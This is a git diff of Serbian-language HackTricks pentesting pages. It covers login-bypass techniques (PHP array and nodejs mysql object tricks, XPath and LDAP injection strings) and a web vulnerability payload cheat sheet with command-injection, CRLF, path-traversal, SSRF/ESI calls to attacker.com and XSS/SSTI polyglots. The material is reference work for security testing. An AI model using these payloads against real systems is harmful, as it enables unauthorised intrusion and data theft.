* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,63 +1,66 @@
|
|||
# Bypassiranje prijave
|
||||
# Login Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Radite li u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji kibernetički događaj u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini.
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljanje za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## **Bypassovanje redovne prijave**
|
||||
## **Zaobilaženje redovnog prijavljivanja**
|
||||
|
||||
Ako pronađete stranicu za prijavu, ovde možete pronaći neke tehnike za pokušaj zaobilaženja:
|
||||
Ako pronađete stranicu za prijavljivanje, ovde možete pronaći neke tehnike za pokušaj zaobilaženja:
|
||||
|
||||
* Proverite da li postoje **komentari** unutar stranice (pomerite se nadole i udesno?)
|
||||
* Proverite **komentare** unutar stranice (pomaknite se nadole i nadesno?)
|
||||
* Proverite da li možete **direktno pristupiti ograničenim stranicama**
|
||||
* Proverite da **ne šaljete parametre** (ne šaljite nijedan ili samo jedan)
|
||||
* Proverite **PHP grešku poređenja:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
|
||||
* **Promenite tip sadržaja u json** i pošaljite json vrednosti (uključujući bool true)
|
||||
* Ako dobijete odgovor koji kaže da POST nije podržan, možete pokušati da pošaljete **JSON u telu ali sa GET zahtevom** sa `Content-Type: application/json`
|
||||
* Proverite potencijalnu grešku parsiranja u nodejs-u (pročitajte [**ovo**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
|
||||
* Nodejs će transformisati tu payload u upit sličan sledećem: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` što čini da bit lozinke uvek bude tačan.
|
||||
* Ako možete poslati JSON objekat, možete poslati `"password":{"password": 1}` da zaobiđete prijavu.
|
||||
* Zapamtite da za zaobilaženje ove prijave i dalje morate **znati i poslati validno korisničko ime**.
|
||||
* Dodavanje opcije `"stringifyObjects":true` prilikom pozivanja `mysql.createConnection` će na kraju **blokirati sve neočekivano ponašanje kada se `Object` prosledi** kao parametar.
|
||||
* Proverite da **ne šaljete parametre** (ne šaljite nijedan ili samo 1)
|
||||
* Proverite **PHP greške u poređenju:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
|
||||
* **Promenite tip sadržaja na json** i pošaljite json vrednosti (bool true uključeno)
|
||||
* Ako dobijete odgovor koji kaže da POST nije podržan, možete pokušati da pošaljete **JSON u telu, ali sa GET zahtevom** sa `Content-Type: application/json`
|
||||
* Proverite potencijalnu grešku u parsiranju nodejs-a (pročitajte [**ovo**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
|
||||
* Nodejs će transformisati taj payload u upit sličan sledećem: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` što čini da deo za lozinku uvek bude tačan.
|
||||
* Ako možete poslati JSON objekat, možete poslati `"password":{"password": 1}` da zaobiđete prijavljivanje.
|
||||
* Zapamtite da da biste zaobišli ovo prijavljivanje, još uvek morate **znati i poslati važeće korisničko ime**.
|
||||
* **Dodavanje `"stringifyObjects":true`** opcije prilikom pozivanja `mysql.createConnection` će na kraju **blokirati sve neočekivane ponašanja kada se `Object` prosledi** kao parametar.
|
||||
* Proverite akreditive:
|
||||
* [**Podrazumevane akreditive**](../../generic-methodologies-and-resources/brute-force.md#default-credentials) korišćene tehnologije/platforme
|
||||
* **Uobičajene kombinacije** (root, admin, password, ime tehnologije, podrazumevani korisnik sa jednom od ovih lozinki).
|
||||
* Kreirajte rečnik koristeći **Cewl**, **dodajte** podrazumevano **korisničko ime i lozinku** (ako postoji) i pokušajte da je probijete koristeći sve reči kao **korisnička imena i lozinke**
|
||||
* [**Podrazumevani akreditive**](../../generic-methodologies-and-resources/brute-force.md#default-credentials) tehnologije/platforme koja se koristi
|
||||
* **Uobičajene kombinacije** (root, admin, password, naziv tehnologije, podrazumevani korisnik sa jednom od ovih lozinki).
|
||||
* Kreirajte rečnik koristeći **Cewl**, **dodajte** **podrazumevani** korisnički naziv i lozinku (ako postoji) i pokušajte da ih brute-force koristeći sve reči kao **korisnička imena i lozinke**
|
||||
* **Brute-force** koristeći veći **rečnik (**[**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)**)**
|
||||
|
||||
### Zaobilaženje autentifikacije SQL Injection-om
|
||||
### SQL Injection zaobilaženje autentifikacije
|
||||
|
||||
[Ovde možete pronaći nekoliko trikova za zaobilaženje prijave putem **SQL Injection-a**](../sql-injection/#authentication-bypass).
|
||||
[Ovde možete pronaći nekoliko trikova za zaobilaženje prijavljivanja putem **SQL injekcija**](../sql-injection/#authentication-bypass).
|
||||
|
||||
Na sledećoj stranici možete pronaći **prilagođenu listu za pokušaj zaobilaženja prijave** putem SQL Injection-a:
|
||||
Na sledećoj stranici možete pronaći **prilagođenu listu za pokušaj zaobilaženja prijavljivanja** putem SQL injekcija:
|
||||
|
||||
{% content-ref url="sql-login-bypass.md" %}
|
||||
[sql-login-bypass.md](sql-login-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Zaobilaženje autentifikacije bez SQL Injection-a
|
||||
### No SQL Injection zaobilaženje autentifikacije
|
||||
|
||||
[Ovde možete pronaći nekoliko trikova za zaobilaženje prijave putem **No SQL Injection-a**](../nosql-injection.md#basic-authentication-bypass)**.**
|
||||
[Ovde možete pronaći nekoliko trikova za zaobilaženje prijavljivanja putem **No SQL injekcija**](../nosql-injection.md#basic-authentication-bypass)**.**
|
||||
|
||||
Pošto NoSQL Injection zahteva promenu vrednosti parametara, moraćete ih testirati ručno.
|
||||
Pošto NoSQL injekcije zahtevaju promenu vrednosti parametara, moraćete da ih testirate ručno.
|
||||
|
||||
### Zaobilaženje autentifikacije XPath Injection-om
|
||||
### XPath Injection zaobilaženje autentifikacije
|
||||
|
||||
[Ovde možete pronaći nekoliko trikova za zaobilaženje prijave putem **XPath Injection-a**](../xpath-injection.md#authentication-bypass)
|
||||
[Ovde možete pronaći nekoliko trikova za zaobilaženje prijavljivanja putem **XPath injekcije.**](../xpath-injection.md#authentication-bypass)
|
||||
```
|
||||
' or '1'='1
|
||||
' or ''='
|
||||
|
@ -73,9 +76,9 @@ Pošto NoSQL Injection zahteva promenu vrednosti parametara, moraćete ih testir
|
|||
admin' or '
|
||||
admin' or '1'='2
|
||||
```
|
||||
### Bypass autentifikacije putem LDAP Injectiona
|
||||
### LDAP Injection autentifikacija zaobilaženje
|
||||
|
||||
[Ovde možete pronaći nekoliko trikova za zaobilaženje prijave putem **LDAP Injectiona**.](../ldap-injection.md#login-bypass)
|
||||
[Ovde možete pronaći nekoliko trikova za zaobilaženje prijave putem **LDAP Injection.**](../ldap-injection.md#login-bypass)
|
||||
```
|
||||
*
|
||||
*)(&
|
||||
|
@ -91,33 +94,36 @@ admin))(|(|
|
|||
```
|
||||
### Zapamti me
|
||||
|
||||
Ako stranica ima funkcionalnost "**Zapamti me**", proverite kako je implementirana i vidite da li je možete zloupotrebiti da **preuzmete kontrolu nad drugim nalozima**.
|
||||
Ako stranica ima funkcionalnost "**Zapamti me**", proverite kako je implementirana i vidite da li možete da je zloupotrebite da **preuzmete druge naloge**.
|
||||
|
||||
### Preusmeravanja
|
||||
|
||||
Stranice obično preusmeravaju korisnike nakon prijave, proverite da li možete promeniti to preusmeravanje da izazovete [**Otvoreno preusmeravanje**](../open-redirect.md). Možda možete ukrasti neke informacije (kodove, kolačiće...) ako preusmerite korisnika na svoj veb sajt.
|
||||
Stranice obično preusmeravaju korisnike nakon prijavljivanja, proverite da li možete da izmenite to preusmeravanje kako biste izazvali [**Open Redirect**](../open-redirect.md). Možda možete ukrasti neke informacije (kodove, kolačiće...) ako preusmerite korisnika na vašu veb stranicu.
|
||||
|
||||
## Ostale provere
|
||||
|
||||
* Proverite da li možete **nabrajati korisnička imena** zloupotrebom funkcionalnosti prijave.
|
||||
* Proverite da li je **automatsko popunjavanje** aktivno u poljima za unos lozinke/**osetljive** informacije: `<input autocomplete="false"`
|
||||
* Proverite da li možete da **enumerišete korisnička imena** zloupotrebom funkcionalnosti prijavljivanja.
|
||||
* Proverite da li je **automatsko popunjavanje** aktivno u lozinkama/**osetljivim** informacijama **formama** **input:** `<input autocomplete="false"`
|
||||
|
||||
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji kibernetički događaj u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih stručnjaka u svakoj disciplini.
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **kibernetičkoj kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,69 @@
|
|||
# Web Vulns List
|
||||
|
||||
## Lista web ranjivosti
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```python
|
||||
{{7*7}}[7*7]
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
%0d%0aLocation:%20http://attacker.com
|
||||
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||||
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||||
/etc/passwd
|
||||
../../../../../../etc/hosts
|
||||
..\..\..\..\..\..\etc/hosts
|
||||
/etc/hostname
|
||||
../../../../../../etc/hosts
|
||||
C:/windows/system32/drivers/etc/hosts
|
||||
../../../../../../windows/system32/drivers/etc/hosts
|
||||
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
|
||||
http://asdasdasdasd.burpcollab.com/mal.php
|
||||
\\asdasdasdasd.burpcollab.com/mal.php
|
||||
www.whitelisted.com
|
||||
www.whitelisted.com.evil.com
|
||||
https://google.com
|
||||
//google.com
|
||||
javascript:alert(1)
|
||||
(\\w*)+$
|
||||
([a-zA-Z]+)*$
|
||||
((a+)+)+$
|
||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
|
||||
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
" onclick=alert() a="
|
||||
'"><img src=x onerror=alert(1) />
|
||||
javascript:alert()
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
\`\`\`python \{{7\*7\}}\[7\*7] 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /\*$(sleep 5)\`sleep 5\`\`\*/-sleep(5)-'/\*$(sleep 5)\`sleep 5\` #\*/-sleep(5)||'"||sleep(5)||"/\*\`\*/ %0d%0aLocation:%20http://attacker.com %3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E\
|
||||
<details>
|
||||
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
## THIS IS AND INJECTED TITLE
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
/etc/passwd ../../../../../../etc/hosts ..\\..\\..\\..\\..\\..\etc/hosts /etc/hostname ../../../../../../etc/hosts C:/windows/system32/drivers/etc/hosts ../../../../../../windows/system32/drivers/etc/hosts ..\\..\\..\\..\\..\\..\windows/system32/drivers/etc/hosts http://asdasdasdasd.burpcollab.com/mal.php \\\asdasdasdasd.burpcollab.com/mal.php www.whitelisted.com www.whitelisted.com.evil.com https://google.com //google.com javascript:alert(1) (\\\w\*)+$ (\[a-zA-Z]+)\*$ ((a+)+)+$ x=>alert(/Chrome%20XSS%20filter%20bypass/);> \{{7\*7\}}${7\*7}<%= 7\*7 %>$\{{7\*7\}}#{7\*7}$\{{<%\[%'"\}}%\ " onclick=alert() a=" '">![](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/pocs-and-polygloths-cheatsheet/x) javascript:alert() javascript:"/\*'/\*\`/\*--> -->'"/>
|
||||
|
||||
 ">>![](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/pocs-and-polygloths-cheatsheet/x)" >\<script>prompt(1)\</script>@gmail.com\<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" >\</script>\<script>alert(1)\</script>">\<img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'">\<img src="http: //i.imgur.com/P8mL8.jpg">\
|
||||
" onclick=alert(1)//\<button ‘ onclick=alert(1)//> \*/ alert(1)//\
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >\</SCRIPT>">'>\<SCRIPT>alert(String.fromCharCode(88,83,83)) \</SCRIPT>\
|
||||
\`\`\`\
|
||||
\<details>**Naučite hakovanje AWS-a od nule do heroja sa** [**htARTE (HackTricks AWS Red Team Expert)**](https://training.hacktricks.xyz/courses/arte)**!**
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite vašu **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,31 @@
|
|||
# Blokiranje glavne stranice da bi se ukrao postmessage
|
||||
# Blocking main page to steal postmessage
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Radite li u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
